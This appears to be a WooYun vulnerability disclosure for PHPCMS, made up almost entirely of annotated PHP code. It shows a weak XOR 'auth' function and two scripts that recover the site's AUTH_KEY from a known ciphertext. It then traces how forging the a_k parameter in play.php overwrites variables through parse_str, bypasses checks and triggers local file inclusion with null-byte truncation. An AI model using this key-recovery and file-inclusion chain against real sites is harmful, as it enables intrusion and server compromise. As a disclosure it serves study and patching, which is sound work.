WooYun.org

// include/global.func.php


function phpcms_auth($txt, $operation = 'ENCODE', $key = '')


{


	$key	= $key ? $key : $GLOBALS['phpcms_auth_key'];


	$txt	= $operation == 'ENCODE' ? $txt : base64_decode($txt);


	$len	= strlen($key);


	$code	= '';


	


	for($i=0; $i<strlen($txt); $i++){


		$k		= $i % $len;	//循环使用密钥字符串对字符串逐位进行异或


		$code  .= $txt[$i] ^ $key[$k];


	}


	$code = $operation == 'DECODE' ? $code : base64_encode($code);


	return $code;


}

// include/fields/downfile/output.inc.php





function downfile($field, $value)


{


	$contentid = $this->contentid;


	$mode = $this->fields[$field]['mode'];


	$result = '';


	if($mode)


	{


		$servers = $this->fields[$field]['servers'];


		$downloadtype = $this->fields[$field]['downloadtype'];


		$servers = explode("\n",$servers);


		foreach($servers AS $k=>$server)


		{


			$server = explode("|",$server);


			$serverurl = $server[1];


			$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));


			$result .= "<a href='down.php?a_k=$a_k' target='_blank'>$server[0]</a>";


		}


	}


	else


	{


		$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));


		$result = "<a href='down.php?a_k=$a_k' target='_blank'>点击下载</a>";


	}


	return $result;


}

<?


$key="i=2&s=&m=0&f=uploadfile";


$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';


$txt=base64_decode(urldecode($txt));


$len=strlen($key);


echo $len;


for($i=0;$i<strlen($key);$i++)


{


		$code  .= $txt[$i] ^ $key[$i];


}


echo $code;


?>

<?


$key="20110331121233766.zip&d=";


$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';





$txt=base64_decode(urldecode($txt));


$tlen=strlen($txt);


$klen=strlen($key);


for($i=1;$i<strlen($key);$i++)


{


		$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];


}


echo $code."\n";


echo $tlen."\n";


?>

/*


...


	$len	= strlen($key);


...





	for($i=0; $i<strlen($txt); $i++){


		$k		= $i % $len;


		$code  .= $txt[$i] ^ $key[$k];


	}


...


*/

//play.php


<?php


require dirname(__FILE__).'/include/common.inc.php';


if(!isset($a_k)) showmessage($LANG['illegal_parameters']);


//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了


//所以$a_k=$_GET[$a_k];


$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文





if(empty($a_k)) showmessage($LANG['illegal_parameters']);


unset($i, $m, $f, $p);


parse_str($a_k);	//parse_str处理解密后的$a_k将导致变量覆盖


					//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞


					//由于我们提交的密文会经过phpcms_auth函数中base64解密的，所以直接无视magic_quotes_gpc的影响而可以NULL字符截断


					//但是高版本的PHP修复了%00的攻击缺陷


					


if(isset($i)) $i = intval($i);


if(!isset($m)) showmessage($LANG['illegal_parameters']);





if(empty($f)) showmessage('地址失效');


if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');


if(!$i || $m<0) showmessage($LANG['illegal_parameters']);


$allow_readpoint = 1;


// include global.fuc.php


/*


...


$M = $TEMP = array();


if(!isset($mod)) $mod = 'phpcms';


if($mod != 'phpcms')


{


	isset($MODULE[$mod]) or exit($LANG['module_not_exists']);


	$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;


	@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';


	$M = cache_read('module_'.$mod.'.php');


}


...


*/


//此处通过上文的对$mod进行变量覆盖绕过下面的if语句


if($mod == 'phpcms')


{


	$contentid = $i;


	include 'admin/content.class.php';


	$content = new content;


	$data = $content->get($contentid);


	$readpoint = $data['readpoint'];





	$title = $data['title'];


	$keys = array_keys($data);





	if(in_array('groupids_view',$keys))


	{


		if($data['groupids_view'])


		{


			if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');


		}


		if(in_array('readpoint', $keys))


		{


			$C = cache_read('category_'.$data['catid'].'.php');


			if($C['defaultchargepoint'] || !empty($readpoint))


			{


				$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];


				$pay = load('pay_api.class.php', 'pay', 'api');


				if($C['repeatchargedays'])


				{


					if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)


					{


						$allow_readpoint = 0;


					}


				}


				else


				{


					session_start();


					if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;


				}


			}


		}


	}


}








$player = load('player.class.php');


$result = $player->get($p);


@extract($result);


$videourl = trim($f);


$code = str_replace('{$filepath}',$videourl, $code);


$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);


$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);


$templateid = $templateid ? $templateid : 'play';


include template($mod, $templateid);


/*


// include/global.fuc.php


// function template 起到一个连接字符串的作用





function template($module = 'phpcms', $template = 'index', $istag = 0)


{


	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';


	if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))


	{


		require_once PHPCMS_ROOT.'include/template.func.php';


		template_compile($module, $template, $istag);


	}


	return $compiledtplfile;


}





*/


?>